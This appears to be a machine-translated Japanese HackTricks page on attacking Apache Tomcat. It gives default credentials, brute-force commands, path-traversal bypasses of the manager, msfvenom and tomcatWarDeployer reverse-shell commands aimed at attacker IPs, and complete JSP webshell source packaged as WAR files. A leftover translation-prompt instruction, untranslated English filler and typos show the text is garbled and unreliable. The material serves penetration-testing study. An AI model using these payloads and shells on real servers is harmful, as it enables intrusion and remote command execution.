hacktricks/network-services-pentesting/pentesting-web/tomcat.md

21 KiB
Raw Blame History

Tomcat

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

最も重要な脆弱性を見つけて修正できるようにしましょう。Intruderは攻撃対象を追跡し、積極的な脅威スキャンを実行し、APIからWebアプリまで、クラウドシステム全体にわたる問題を見つけます。無料でお試しください

{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}


ディスカバリー

  • 通常はポート8080で実行されます
  • 一般的なTomcatエラー

列挙

バージョン

curl -s http://tomcat-site.local:8080/docs/ | grep Tomcat

<html lang="en"><head><META http-equiv="Content-Type" content="text/html; charset=UTF-8"><link href="./images/docs-stylesheet.css" rel="stylesheet" type="text/css"><title>Apache Tomcat 9 (9.0.30) - Documentation Index</title><meta name="author"

マネージャーファイルの場所を特定する

/manager/host-manager のページがどこにあるかを見つけるのは興味深いです。これらのページは異なる名前を持つ場合もあります。ブルートフォースで検索することができます。

ユーザー名の列挙

Tomcat6以前のバージョンでは、ユーザー名を列挙することができました。

msf> use auxiliary/scanner/http/tomcat_enum

デフォルトの資格情報

Tomcatの最も興味深いパスは_/manager/html_です。このパスでは、warファイルをアップロードして展開することができますコードを実行できます。ただし、このパスは基本的なHTTP認証で保護されています。最も一般的な資格情報は次のとおりです

  • admin:admin
  • tomcat:tomcat
  • admin:<何も入力しない>
  • admin:s3cr3t
  • tomcat:s3cr3t
  • admin:tomcat

これらと他の資格情報をテストすることができます。

msf> use auxiliary/scanner/http/tomcat_mgr_login

もう一つの興味深いTomcatのパスは/manager/statusです。ここではOSとTomcatのバージョンを確認することができます。これは、/manager/htmlにアクセスできない場合に、Tomcatのバージョンに影響を与える脆弱性を見つけるのに役立ちます。

ブルートフォース攻撃

hydra -L users.txt -P /usr/share/seclists/Passwords/darkweb2017-top1000.txt -f 10.10.10.64 http-get /manager/html

msf6 auxiliary(scanner/http/tomcat_mgr_login) > set VHOST tomacat-site.internal
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set RPORT 8180
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set stop_on_success true
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set rhosts <IP>

脆弱性

パスワードのバックトレースの漏洩

/auth.jsp にアクセスしてみて、非常に幸運な場合には、バックトレースでパスワードが漏洩するかもしれません

二重URLエンコード

よく知られた脆弱性であるCVE-2007-1860では、アプリケーションマネージャにアクセスするための手段として、二重URLエンコードのパストラバーサルが可能です。

Tomcatの管理ウェブにアクセスするには、以下のパスを使用します: pathTomcat/%252E%252E/manager/html

Webシェルをアップロードするためには、二重URLエンコードのトリックを使用し、クッキーやSSRFトークンも送信する必要があるかもしれません。
バックドアにアクセスするには、二重URLエンコードのトリックを使用する必要があるかもしれません。

/examples

以下の例示スクリプトは、Apache Tomcat v4.x - v7.xに付属しており、攻撃者がシステムに関する情報を入手するために使用することができます。これらのスクリプトは、クロスサイトスクリプティングXSSインジェクションにも脆弱であることが知られていますここから)。

  • /examples/jsp/num/numguess.jsp
  • /examples/jsp/dates/date.jsp
  • /examples/jsp/snp/snoop.jsp
  • /examples/jsp/error/error.html
  • /examples/jsp/sessions/carts.html
  • /examples/jsp/checkbox/check.html
  • /examples/jsp/colors/colors.html
  • /examples/jsp/cal/login.html
  • /examples/jsp/include/include.jsp
  • /examples/jsp/forward/forward.jsp
  • /examples/jsp/plugin/plugin.jsp
  • /examples/jsp/jsptoserv/jsptoservlet.jsp
  • /examples/jsp/simpletag/foo.jsp
  • /examples/jsp/mail/sendmail.jsp
  • /examples/servlet/HelloWorldExample
  • /examples/servlet/RequestInfoExample
  • /examples/servlet/RequestHeaderExample
  • /examples/servlet/RequestParamExample
  • /examples/servlet/CookieExample
  • /examples/servlet/JndiServlet
  • /examples/servlet/SessionExample
  • /tomcat-docs/appdev/sample/web/hello.jsp

パストラバーサル(..;/

一部の脆弱なTomcatの設定では、パス /..;/ を使用してTomcatの保護されたディレクトリにアクセスできます。

例えば、www.vulnerable.com/lalala/..;/manager/html にアクセスすることで、Tomcatマネージャページにアクセスできるかもしれません。

このトリックを使用して保護されたパスをバイパスする別の方法は、http://www.vulnerable.com/;param=value/manager/html にアクセスすることです。

RCE

最後に、Tomcat Web Application Managerにアクセスできる場合、.warファイルをアップロードして展開することでコードを実行できます

制限事項

WARファイルを展開できるのは、**十分な権限(ロール: admin、manager、manager-script**を持っている場合のみです。これらの詳細は通常、/usr/share/tomcat9/etc/tomcat-users.xmlに定義されているtomcat-users.xmlの下に見つけることができます(バージョンによって異なります)(POST sectionを参照

# tomcat6-admin (debian) or tomcat6-admin-webapps (rhel) has to be installed

# deploy under "path" context path
curl --upload-file monshell.war -u 'tomcat:password' "http://localhost:8080/manager/text/deploy?path=/monshell"

# undeploy
curl "http://tomcat:Password@localhost:8080/manager/text/undeploy?path=/monshell"

Metasploit

Metasploit is a powerful framework for penetration testing and exploiting vulnerabilities in network services. It provides a wide range of tools and modules that can be used to identify and exploit security weaknesses in target systems.

Metasploit is designed to be user-friendly and flexible, allowing both novice and experienced hackers to effectively carry out their attacks. It supports various exploitation techniques, including remote code execution, privilege escalation, and post-exploitation activities.

One of the key features of Metasploit is its extensive database of exploits, payloads, and auxiliary modules. These modules can be easily customized and combined to create complex attack scenarios. Metasploit also provides a command-line interface and a graphical user interface, making it accessible to users with different levels of technical expertise.

In addition to its exploitation capabilities, Metasploit also includes features for vulnerability scanning, password cracking, and social engineering. It supports a wide range of network protocols and services, including HTTP, FTP, SSH, and SMB.

Metasploit is constantly updated with new exploits and modules, making it a valuable tool for both offensive and defensive security professionals. However, it is important to note that the use of Metasploit for unauthorized activities is illegal and unethical. It should only be used for legitimate purposes, such as penetration testing and security research.

use exploit/multi/http/tomcat_mgr_upload
msf exploit(multi/http/tomcat_mgr_upload) > set rhost <IP>
msf exploit(multi/http/tomcat_mgr_upload) > set rport <port>
msf exploit(multi/http/tomcat_mgr_upload) > set httpusername <username>
msf exploit(multi/http/tomcat_mgr_upload) > set httppassword <password>
msf exploit(multi/http/tomcat_mgr_upload) > exploit

MSFVenom リバースシェル

MSFVenomは、Metasploit Frameworkの一部であり、悪意のあるペイロードを生成するために使用されます。リバースシェルは、ターゲットマシンから攻撃者のマシンに接続するために使用される一種のシェルです。以下のコマンドは、MSFVenomを使用してリバースシェルペイロードを生成する方法を示しています。

msfvenom -p java/jsp_shell_reverse_tcp LHOST=<attacker_ip> LPORT=<attacker_port> -f war > shell.war

このコマンドでは、java/jsp_shell_reverse_tcpペイロードを使用して、攻撃者のIPアドレスとポート番号を指定しています。生成されたペイロードは、shell.warという名前のWARファイルに保存されます。

この生成されたWARファイルをターゲットのTomcatサーバーにデプロイすると、攻撃者はリバースシェルを取得し、ターゲットマシンに対してコマンドを実行することができます。

msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.11.0.41 LPORT=80 -f war -o revshell.war

次に、revshell.warファイルをアップロードし、それにアクセスします(/revshell/

tomcatWarDeployer.pyを使用してバインドシェルとリバースシェルを作成する

一部のシナリオではこれが機能しないことがありますたとえば古いバージョンのsun

ダウンロード

git clone https://github.com/mgeeky/tomcatWarDeployer.git

リバースシェル

A reverse shell is a type of shell in which the target machine initiates the connection to the attacker's machine. This allows the attacker to gain remote access to the target machine and execute commands. Reverse shells are commonly used in penetration testing to gain control over a compromised system.

To create a reverse shell, the attacker typically needs to exploit a vulnerability in a network service running on the target machine. Once the vulnerability is exploited, the attacker can inject malicious code that establishes a connection back to their machine.

There are various tools and techniques available for creating reverse shells, including using netcat, Python, or Metasploit. The choice of tool depends on the specific requirements of the penetration test and the target environment.

It is important to note that using reverse shells for unauthorized access to systems is illegal and unethical. Reverse shells should only be used in controlled environments with proper authorization and consent.

./tomcatWarDeployer.py -U <username> -P <password> -H <ATTACKER_IP> -p <ATTACKER_PORT> <VICTIM_IP>:<VICTIM_PORT>/manager/html/

バインドシェル

A bind shell is a type of shell that allows an attacker to gain remote access to a compromised system. It works by binding a shell to a specific port on the target system, allowing the attacker to connect to that port and gain control over the system.

To create a bind shell, the attacker typically exploits a vulnerability in a network service running on the target system, such as a web server or an FTP server. Once the vulnerability is exploited, the attacker can execute a command that starts a shell and binds it to a specific port.

Once the bind shell is established, the attacker can use a client program, such as Netcat, to connect to the target system on the specified port. This allows the attacker to interact with the shell and execute commands on the compromised system.

Bind shells are commonly used in penetration testing and hacking activities to gain unauthorized access to systems. It is important for system administrators to be aware of the risks associated with bind shells and take appropriate measures to secure their systems against such attacks.

./tomcatWarDeployer.py -U <username> -P <password> -p <bind_port> <victim_IP>:<victim_PORT>/manager/html/

Culsterdの使用

Culsterdを使用すると、Tomcatサーバーに対するペネトレーションテストを実行できます。Culsterdは、Tomcatサーバーの脆弱性を検出し、攻撃者が悪意のある操作を行うためのエクスプロイトを提供します。

Culsterdを使用するには、まずCulsterdをダウンロードしてインストールする必要があります。次に、Culsterdを実行し、TomcatサーバーのIPアドレスとポート番号を指定します。Culsterdは、指定されたIPアドレスとポート番号に接続し、Tomcatサーバーの脆弱性をスキャンします。

Culsterdは、脆弱性のあるTomcatバージョンを特定し、攻撃者が悪意のある操作を行うためのエクスプロイトを提供します。これにより、攻撃者はTomcatサーバーに対して様々な攻撃を実行することができます。

Culsterdを使用する際には、慎重に行動する必要があります。正当な目的でのみ使用し、適切な許可を得た場合にのみ実行してください。また、Culsterdを使用する前に、法的および倫理的な制約を理解し、遵守する必要があります。

Culsterdを使用することで、Tomcatサーバーのセキュリティに関する洞察を得ることができます。これにより、セキュリティの脆弱性を特定し、適切な対策を講じることができます。

clusterd.py -i 192.168.1.105 -a tomcat -v 5.5 --gen-payload 192.168.1.6:4444 --deploy shell.war --invoke --rand-payload -o windows

手動方法 - ウェブシェル

このコンテンツを使用して、index.jspを作成してください。

<FORM METHOD=GET ACTION='index.jsp'>
<INPUT name='cmd' type=text>
<INPUT type=submit value='Run'>
</FORM>
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
String output = "";
if(cmd != null) {
String s = null;
try {
Process p = Runtime.getRuntime().exec(cmd,null,null);
BufferedReader sI = new BufferedReader(new
InputStreamReader(p.getInputStream()));
while((s = sI.readLine()) != null) { output += s+"</br>"; }
}  catch(IOException e) {   e.printStackTrace();   }
}
%>
<pre><%=output %></pre>
mkdir webshell
cp index.jsp webshell
cd webshell
jar -cvf ../webshell.war *
webshell.war is created
# Upload it

以下は、ハッキング技術に関する本からのコンテンツです。以下のコンテンツは、ファイルnetwork-services-pentesting/pentesting-web/tomcat.mdからのものです。関連する英文を日本語に翻訳し、翻訳を返し、マークダウンとHTMLの構文をそのまま保持してください。コード、ハッキング技術の名前、ハッキングの言葉、クラウド/SaaSプラットフォームの名前Workspace、aws、gcpなど、'leak'という単語、pentesting、およびマークダウンタグなどは翻訳しないでください。また、翻訳とマークダウンの構文以外の追加のものは追加しないでください。

You could also install this (allows upload, download and command execution): [http://vonloesch.de/filebrowser.html](http://vonloesch.de/filebrowser.html)

### Manual Method 2

Get a JSP web shell such as [this](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp) and create a WAR file:

手動方法2

以下のようなJSPウェブシェルを入手し、WARファイルを作成します

wget https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp
zip -r backup.war cmd.jsp
# When this file is uploaded to the manager GUI, the /backup application will be added to the table.
# Go to: http://tomcat-site.local:8180/backup/cmd.jsp

POST

Tomcatの認証情報ファイルの名前は tomcat-users.xml です。

find / -name tomcat-users.xml 2>/dev/null

他のTomcatの資格情報を収集する方法:

msf> use post/multi/gather/tomcat_gather
msf> use post/windows/gather/enum_tomcat

他のTomcatスキャンツール

最も重要な脆弱性を見つけて、より速く修正できます。Intruderは攻撃対象を追跡し、積極的な脅威スキャンを実行し、APIからWebアプリまで、クラウドシステム全体で問題を見つけます。無料でお試しください

{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥